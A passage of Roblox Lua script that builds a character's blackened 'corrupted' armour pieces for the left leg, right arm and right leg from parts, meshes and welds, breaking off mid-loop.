0.200000003),CFrame = CFrame.new(1.88013721, 0.600035727, 1.25993288, 1.00001979, -3.03611159e-007, -5.47617674e-007, 5.67175448e-007, 1.00001717, -5.60779881e-007, -1.86450779e-006, 9.50574758e-007, 0.99998951),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),}) Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 1, 5.86369708e-007, -2.15602267e-006, -2.8440752e-007, 0.999998569, 9.76819592e-007, -8.39119252e-007, -5.34477465e-007, 0.999998569),C1 = CFrame.new(-0.0157161951, -0.717007458, -0.405481935, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),}) CorruptedPart = New("Part",LeftLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.400000006, 0.200000003),CFrame = CFrame.new(2.28007793, 0.700037479, 1.65993929, 1.00001967, -3.84054147e-007, 3.90969217e-006, 6.35045581e-007, 1.00001717, -5.60838998e-007, -6.19795173e-006, 9.32147486e-007, 0.99998951),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),}) Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 1, 6.5424797e-007, -6.48946025e-006, -3.64865258e-007, 0.999998629, 9.58411874e-007, 3.61912225e-006, -5.34497644e-007, 0.999998629),C1 = CFrame.new(-0.411835551, -0.616776347, -0.00175023079, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),}) CorruptedPart = New("Part",LeftLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 1.20000005, 0.200000003),CFrame = CFrame.new(2.68018699, 1.10004401, 1.65993941, 1.00001967, -3.84054147e-007, 3.90969217e-006, 6.35045581e-007, 1.00001717, -5.60838998e-007, -6.19795173e-006, 9.32147486e-007, 0.99998951),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),}) Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 1, 6.5424797e-007, -6.48946025e-006, -3.64865258e-007, 0.999998629, 9.58411874e-007, 3.61912225e-006, -5.34497644e-007, 0.999998629),C1 = CFrame.new(-0.408125639, -0.216332912, 0.397896528, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),}) CorruptedPart = New("Part",LeftLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.600000024, 0.200000003),CFrame = CFrame.new(2.68596959, 0.816166699, 1.25195313, 0.999971032, 0.0011022269, -0.00980960391, -0.00109704852, 1.00001776, 0.000537177373, 0.00981036108, -0.000526409131, 0.999942601),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),}) Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999951303, -0.0010970087, 0.00981015898, 0.00110222446, 0.999999166, -0.000526388001, -0.00980970077, 0.00053719338, 0.99995172),C1 = CFrame.new(5.20944595e-005, -0.499986172, 0.399987936, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),}) ScatterEff(EffCorruptedPart) RightArm = New("Model",chara,"RightArm",{}) MainPart = New("Part",RightArm,"MainPart",{Transparency = 1,Transparency = 1,FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(1, 2, 1),CFrame = CFrame.new(2.011096, 6.31690788, -3.92582893, 0.00918400101, -0.262283146, 0.964947343, 0.259330034, 0.932596445, 0.251021653, -0.965745091, 0.247934431, 0.0765828639),CanCollide = false,}) Weld = New("ManualWeld",MainPart,"Weld",{Part0 = MainPart,Part1 = chara["Right Arm"],C0 = CFrame.new(0, 0, 0, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),C1 = CFrame.new(-2.86102295e-006, -9.05990601e-006, -2.38418579e-006, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),}) Hitbox = New("Part",RightArm,"Hitbox",{BrickColor = BrickColor.new("Really black"),Transparency = 1,Transparency = 1,Size = Vector3.new(1, 4, 1),CFrame = CFrame.new(22.2733669, 5.0842762, -22.1737366, -0.964945257, -0.262290984, 0.00919180829, -0.251027077, 0.93259424, 0.259333313, -0.0765930116, 0.247935042, -0.965744138),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) Weld = New("ManualWeld",Hitbox,"Weld",{Part0 = Hitbox,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.964945257, -0.251027077, -0.0765930116, -0.262290984, 0.93259424, 0.247935042, 0.00919180829, 0.259333313, -0.965744138),C1 = CFrame.new(-1.52587891e-005, -1.00003147, -1.71661377e-005, 0.0091838371, 0.259330064, -0.965745151, -0.262283117, 0.932596445, 0.247934505, 0.964947283, 0.251021653, 0.0765827149),}) CorruptedPart = New("Part",RightArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 2, 1),CFrame = CFrame.new(2.011096, 6.3169179, -3.92581391, -0.964945257, -0.262290984, 0.00919180829, -0.251027077, 0.93259424, 0.259333313, -0.0765930116, 0.247935042, -0.965744138),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),}) Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.964945138, -0.251027018, -0.0765930042, -0.262290984, 0.932594121, 0.247935027, 0.00919180084, 0.259333313, -0.965744197),C1 = CFrame.new(-1.1920929e-005, 1.28746033e-005, 3.57627869e-006, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),}) CorruptedPart = New("Part",RightArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 0.600000024, 0.400000036),CFrame = CFrame.new(2.14866924, 6.03215551, -4.72580194, -0.964945078, 0.262291819, -0.00918725226, -0.251029015, -0.932593465, -0.259333432, -0.0765890032, -0.247936144, 0.965744317),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) Mesh = New("SpecialMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),MeshType = Enum.MeshType.Wedge,}) Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.964944899, -0.251028955, -0.0765889958, 0.262291819, -0.932593465, -0.247936144, -0.00918724574, -0.259333432, 0.965744257),C1 = CFrame.new(0.699988842, -0.499982834, 7.62939453e-006, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),}) CorruptedPart = New("Part",RightArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 1.20000005, 0.600000024),CFrame = CFrame.new(2.63876629, 4.02682734, -4.32773018, -0.964945078, 0.262291819, -0.00918725226, -0.251029015, -0.932593465, -0.259333432, -0.0765890032, -0.247936144, 0.965744317),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) Mesh = New("SpecialMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),MeshType = Enum.MeshType.Wedge,}) Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.964944899, -0.251028955, -0.0765889958, 0.262291819, -0.932593465, -0.247936144, -0.00918724574, -0.259333432, 0.965744257),C1 = CFrame.new(-0.199987888, -2.39999342, 3.02791595e-005, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),}) CorruptedPart = New("Part",RightArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 1, 0.600000024),CFrame = CFrame.new(1.62134135, 7.81954479, -3.94021821, 0.964945078, -0.262291819, -0.00918725226, 0.251029015, 0.932593465, -0.259333432, 0.0765890032, 0.247936144, 0.965744317),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) Mesh = New("SpecialMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),MeshType = Enum.MeshType.Wedge,}) Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.964944899, 0.251028955, 0.0765889958, -0.262291819, 0.932593465, 0.247936144, -0.00918724574, -0.259333432, 0.965744257),C1 = CFrame.new(0.399995804, 1.5000124, -2.38418579e-007, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),}) CorruptedPart = New("Part",RightArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 0.600000024, 0.400000036),CFrame = CFrame.new(2.35483098, 5.18234444, -4.53787422, -0.964945078, 0.262291819, -0.00918725226, -0.251029015, -0.932593465, -0.259333432, -0.0765890032, -0.247936144, 0.965744317),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) Mesh = New("SpecialMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),MeshType = Enum.MeshType.Wedge,}) Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.964944899, -0.251028955, -0.0765889958, 0.262291819, -0.932593465, -0.247936144, -0.00918724574, -0.259333432, 0.965744257),C1 = CFrame.new(0.300010204, -1.29999256, 1.40666962e-005, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),}) CorruptedPart = New("Part",RightArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 1, 0.600000024),CFrame = CFrame.new(1.88730097, 6.99068737, -4.57445002, -0.964945078, 0.262291819, -0.00918725226, -0.251029015, -0.932593465, -0.259333432, -0.0765890032, -0.247936144, 0.965744317),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) Mesh = New("SpecialMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),MeshType = Enum.MeshType.Wedge,}) Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.964944899, -0.251028955, -0.0765889958, 0.262291819, -0.932593465, -0.247936144, -0.00918724574, -0.259333432, 0.965744257),C1 = CFrame.new(0.799996853, 0.50001812, 4.29153442e-006, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),}) CorruptedPart = New("Part",RightArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 0.800000072, 0.600000024),CFrame = CFrame.new(2.37646794, 4.9594202, -4.07979012, -0.964945316, -0.262290984, 0.00918756705, -0.251028091, 0.932593942, 0.259333163, -0.0765890256, 0.247935995, -0.965744197),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),}) Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.964945138, -0.251028031, -0.0765890107, -0.262290955, 0.932593882, 0.247935966, 0.0091875596, 0.259333193, -0.965744257),C1 = CFrame.new(-0.199994564, -1.39999104, 1.52587891e-005, 0.00918400101, 0.259330034, -0.965745091, -0.262283146, 0.932596445, 0.247934431, 0.964947343, 0.251021653, 0.0765828639),}) RightLeg = New("Model",chara,"RightLeg",{}) MainPart = New("Part",RightLeg,"MainPart",{Transparency = 1,Transparency = 1,FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(1, 2, 1),CFrame = CFrame.new(2.29641008, 1.31540966, 0.248092994, 0.00933599845, 0.00110999751, 0.999955773, -0.0030579993, 0.999994755, -0.00108149007, -0.99995178, -0.0030477671, 0.00933934376),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,}) Weld = New("ManualWeld",MainPart,"Weld",{Part0 = MainPart,Part1 = chara["Right Leg"],C0 = CFrame.new(0, 0, 0, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),C1 = CFrame.new(2.98023224e-008, -8.58306885e-006, 2.38418579e-007, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),}) CorruptedPart = New("Part",RightLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(2.70045996, 1.61376095, -0.149078026, 0.999955833, 0.00111049914, -0.0093326522, -0.00108199986, 0.999994755, 0.00305823679, 0.00933599938, -0.00304800388, 0.999951839),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),}) Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999955893, -0.00108199986, 0.00933599938, 0.00111049926, 0.999994755, -0.00304800388, -0.0093326522, 0.00305823679, 0.99995178),C1 = CFrame.new(0.400011688, 0.300008655, 0.400000095, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),}) CorruptedPart = New("Part",RightLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.600000024, 0.200000003),CFrame = CFrame.new(1.90071809, 1.81462395, -0.157150015, 0.999955714, 0.00111050205, -0.0093366541, -0.00108199974, 0.999994755, 0.00305724167, 0.00933999754, -0.00304700364, 0.999951899),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),}) Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999955773, -0.00108199974, 0.00933999848, 0.00111050217, 0.999994755, -0.00304700388, -0.00933665317, 0.00305724121, 0.99995178),C1 = CFrame.new(0.400002658, 0.50000751, -0.399999142, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),}) CorruptedPart = New("Part",RightLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.400000036, 0.200000003),CFrame = CFrame.new(1.896873, 1.71584904, 0.243133992, 0.999955714, 0.00111050205, -0.0093366541, -0.00108199974, 0.999994755, 0.00305724167, 0.00933999754, -0.00304700364, 0.999951899),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),}) Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999955773, -0.00108199974, 0.00933999848, 0.00111050217, 0.999994755, -0.00304700388, -0.00933665317, 0.00305724121, 0.99995178),C1 = CFrame.new(4.14252281e-006, 0.400008917, -0.399998784, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),}) CorruptedPart = New("Part",RightLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.800000072, 0.200000003),CFrame = CFrame.new(1.89314091, 1.71706903, 0.643112063, 0.999955714, 0.00111050205, -0.0093366541, -0.00108199974, 0.999994755, 0.00305724167, 0.00933999754, -0.00304700364, 0.999951899),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),}) Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999955773, -0.00108199974, 0.00933999848, 0.00111050217, 0.999994755, -0.00304700388, -0.00933665317, 0.00305724121, 0.99995178),C1 = CFrame.new(-0.399993181, 0.400005698, -0.399996519, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),}) EffCorruptedPart = New("Part",RightLeg,"EffCorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 1.20000005, 1),CFrame = CFrame.new(2.29597116, 0.915416002, 0.249298006, 0.999955714, 0.00111051137, -0.00933665317, -0.00108199974, 0.999994755, 0.00305824191, 0.00933999754, -0.00304800365, 0.999951899),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) Mesh = New("BlockMesh",EffCorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),}) Weld = New("ManualWeld",EffCorruptedPart,"Weld",{Part0 = EffCorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999955773, -0.00108199974, 0.00933999848, 0.00111051148, 0.999994755, -0.00304800388, -0.00933665223, 0.00305824145, 0.99995178),C1 = CFrame.new(1.41263008e-005, -0.399995744, 5.00679016e-006, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),}) CorruptedPart = New("Part",RightLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.400000006, 0.200000003),CFrame = CFrame.new(2.300596, 1.71419013, -0.153122023, 0.999955714, 0.00111051137, -0.00933665317, -0.00108199974, 0.999994755, 0.00305824191, 0.00933999754, -0.00304800365, 0.999951899),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),}) Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999955773, -0.00108199974, 0.00933999848, 0.00111051148, 0.999994755, -0.00304800388, -0.00933665223, 0.00305824145, 0.99995178),C1 = CFrame.new(0.400015235, 0.400005817, 7.39097595e-006, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),}) CorruptedPart = New("Part",RightLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.600000024, 0.200000003),CFrame = CFrame.new(2.69322205, 1.81620288, 0.650299072, 0.999955714, 0.00111051137, -0.00933665317, -0.00108199974, 0.999994755, 0.00305824191, 0.00933999754, -0.00304800365, 0.999951899),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),}) Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999955773, -0.00108199974, 0.00933999848, 0.00111051148, 0.999994755, -0.00304800388, -0.00933665223, 0.00305824145, 0.99995178),C1 = CFrame.new(-0.400013447, 0.500005245, 0.400009155, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),}) CorruptedPart = New("Part",RightLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.400000006, 0.200000003),CFrame = CFrame.new(2.69684124, 1.71498096, 0.250625998, 0.999955714, 0.00111051137, -0.00933665317, -0.00108199974, 0.999994755, 0.00305824191, 0.00933999754, -0.00304800365, 0.999951899),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),}) Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999955773, -0.00108199974, 0.00933999848, 0.00111051148, 0.999994755, -0.00304800388, -0.00933665223, 0.00305824145, 0.99995178),C1 = CFrame.new(-1.63316727e-005, 0.400005937, 0.400005102, 0.00933599845, -0.0030579993, -0.99995178, 0.00110999751, 0.999994755, -0.0030477671, 0.999955773, -0.00108149007, 0.00933934376),}) ScatterEff(EffCorruptedPart) sa = RightArm:GetChildren() for i = 1, 